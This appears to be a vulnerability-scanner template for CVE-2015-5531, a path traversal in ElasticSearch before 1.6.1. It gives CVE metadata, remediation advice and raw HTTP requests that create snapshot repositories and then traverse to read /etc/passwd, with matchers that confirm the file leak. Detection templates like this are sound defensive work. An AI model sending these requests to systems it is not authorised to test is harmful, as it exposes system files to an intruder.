id: CVE-2015-5531
info:
name: ElasticSearch <1.6.1 - Local File Inclusion
author: princechaddha
severity: medium
description: ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
remediation: |
Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.
reference:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531
- https://nvd.nist.gov/vuln/detail/CVE-2015-5531
- http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
- https://www.elastic.co/community/security/
- http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2015-5531
cwe-id: CWE-22
epss-score: 0.97144
epss-percentile: 0.99721
cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: elasticsearch
product: elasticsearch
tags: vulhub,packetstorm,cve,cve2015,elasticsearch,intrusive
http:
- raw:
- |
PUT /_snapshot/test HTTP/1.1
Host: {{Hostname}}
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
PUT /_snapshot/test2 HTTP/1.1
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
matchers-condition: and
matchers:
- type: word
part: body
words:
- ElasticsearchParseException
- Failed to derive xcontent from
- 114, 111, 111, 116, 58
condition: and
- type: status
status:
- 400
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